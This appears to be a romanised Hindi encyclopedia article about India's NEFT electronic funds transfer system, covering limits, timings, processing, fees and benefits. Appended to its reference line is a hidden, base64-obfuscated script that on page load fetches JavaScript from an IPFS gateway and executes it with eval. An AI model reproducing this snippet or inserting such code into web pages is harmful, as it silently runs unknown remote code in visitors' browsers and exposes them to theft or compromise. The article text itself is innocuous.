नेफ़्ट
thumb|250px|neft neft (aangrezi: National Electronic Funds Transfer - NEFT) ne adhikaansh grahakoan ke lie baiankiang ko behad suvidhajanak bana diya hai. neft ke dvara, ap aaunalain ya aauphalain phand transaphar kar sakate haian, apake pas jise paisa bhejana hai usake baiank akauant aur aeeefesasi kod ki janakari honi chahie. vartaman mean, neft ke alava aratijies, aeeemapies aur yoopiaee bhi upalabdh haian jinake dvara phand transaphar kiya ja sakata haian. halaanki, neft adhikaansh grahakoan ko pasand hai kyoanki isamean kam prosesiang charj, adhik transaphar limit hai.
rashi sima
neft traansaphar ka sabase b da phayada yah hai ki apake dvara traansaphar ki jane vali nyoonatam aur adhikatam rashi par koee sima nahian hai. nyoonatam traansaphar rashi kam se kam 1 rupaya ho sakati hai, jabaki aratijies jaise kee any phand traansaphar vikalpoan dvara 2 lakh rupaye se kam transaphar nahian kar sakate haian. neft traanjekshan ke lie bharatiy rizarv baiank dvara limit nirdharit nahian hai. halaanki, ek limit baiank dvara tay ki ja sakati hai jisamean apaka khata hai. udaharan ke lie, HDFC baiank ne apane grahakoan ko aaunalain neft traansaphar ke lie prati din 25 lakh ru. sima rakhi hai. nakad traansekshan ke lie, ek traanjekshan 50,000 ru. se zyada ka nahian ho sakata hai. halaanki, apake dvara traansaphar ki jane vali kul rashi par koee sima nahian hai.[1]
samay
phand traansaphar ki limit ke alava taimiang par bhi kuchh simaean haian. ek samany varkiang de par, neft suvidha subah 8 baje se sham 7 baje tak (mahine ke doosare aur chauthe shanivar ko chho dakar) upalabdh rahati hai. neft baich kliyariang takaniki par kam karata hai. isaka matalab yah hai ki neft har adhe ghante mean ek baich nikalata hai jisamean pichhale adhe ghante mean ae transaphar ke sabhi avedanoan ke phand ko transaphar kiya jata hai. ek din mean, 23 ghante ye seva upalabdh rahati hai. agar koee transaphar avedan shanivar (chhutti vale din) ata hai, to vo transaphar ab somavar ke pahale baich mean kiya jaega.
prakriya
net baiankiang ka upayog karake neft traansaphar aaunalain kiya ja sakata hai. neft ek baich vais kliyariang takaniki par kam karata hai. sabase pahale kisi vyakti ya kampani ko sabhi avashyak janakari jaise ki beniphishari (jisako transaphar karana hai) ka nam, usaka akauant nanbar, usaka IFSC kod bharana hoga. vah baiank jahaan rikvest janaret hota hai, vah rashi mean katauti karega aur neft ke pooliang seantar ko ek sandesh bhejega, jise neft sarvis seantar ke roop mean bhi jana jata hai. sandesh ko phir kliyariang seantar par bhej diya jata hai. kliyariang seantar is adhar par transaphar avedan ko kliyar karata hai ki jis baiank mean paisa bhejana hai vo kahaan stith hai. seantar paisa baiank bhejata hai aur baiank ko vah rashi beniphishari ke khate mean bhejani hoti hai. ek any aauphalain phand transaphar vikalp ye hai ki jis bhi baiank shakha mean apaka akauant hai vahaan se transaphar kar sakate haian.[1]
shulk
rashi ke adhar par neft transaphar par lagane par vale shulk nimnalikhit haian-
- baiank shakhaoan mean ane vale phand par (beniphishari akauant mean kredit ke lie) - labharthiyoan par koee shulk nahian lagaya jata hai.
- baiank shakhaean jahaan se traanjekshan kiya gaya hai, usake shulk nimnalikhit haian-
| neft ki rashi | neft par shulk | |
|---|---|---|
| 1. | ₹ 10,000 tak ki rashi par | adhikatam ₹ 2.50 + jiesati |
| 2. | ₹ 10,000 se ₹ 1 lakh tak ki rashi par | adhikatam ₹ 5 + jiesati |
| 3. | ₹ 1 lakh se ₹ 2 lakh tak ki rashi par | adhikatam ₹ 15 + jiesati |
| 4. | ₹ 2 lakh se adhik ki rashi par | adhikatam ₹ 25 + jiesati |
ap kisi bhi neft phand traansaphar par lagoo shulk ki poori janakari bharatiy rizarv baiank ki adhikarik vebasait ya apane baiank se prapt kar sakate haian.
labh
aise kee karan haian jo neft ke madhyam se phand traansaphar ko ek bahut hi behatarin suvidha banate haian. kisi ko paise bhejane ke lie apako chek ya dimaand drapht ke madhyam ka upayog nahian karana hai. ap net baiankiang ya phon baiankiang ka upayog karake asani se phand traansaphar kar sakate haian. ap shakha jae bina bhi traanjekshan kar sakate haian. bharatiy rizarv baiank aisi takaniki ko lagoo karata hai jisaki madad se is phand traansaphar ke donoan hi pakshoan ko esemes ya eemel ke madhyam se soochanaean di jati haian. sabase mahatvapoorn ki yah phand trasaphar ka ek bahut hi surakshit phand traansaphar madhyam hai.
any
neft keval phand traansaphar hi nahian karata hai. ap neft suvidha ki madad se bahut kuchh kar sakate haian. ap neft suvidhaoan ka upayog karake apane kredit kard ke bil ka bhugatan kar sakate haian. ap neft bhugatan ka upayog karake eeemaee ka bhugatan bhi kar sakate haian. bharatiy rizarv baiank ke pas aisi nitiyaan bhi haian jo kuchh mamaloan mean yoojar ka nukasan poora karane ke lie baiankoan ko adesh deti haian.[1]
yadi neft phand nirdharit samay ke bhitar risivar ke khate mean jama nahian hote haian ya tay samay ke bhitar bhejane vale ke khate mean vapas nahian ate haian, to baiankoan ko sanbandhit pakshoan nukasan ki bharapaee karani chahie. neft phandoan ko proses karane mean deri ke mamaloan mean, baiank ko maujooda arabiaee eleef repo dar par 2 pratishat ka byaj dena hoga.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 NEFT phand transaphar limit (hiandi) paisabazaar.com. abhigaman tithi: 18 navanbar, 2020.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>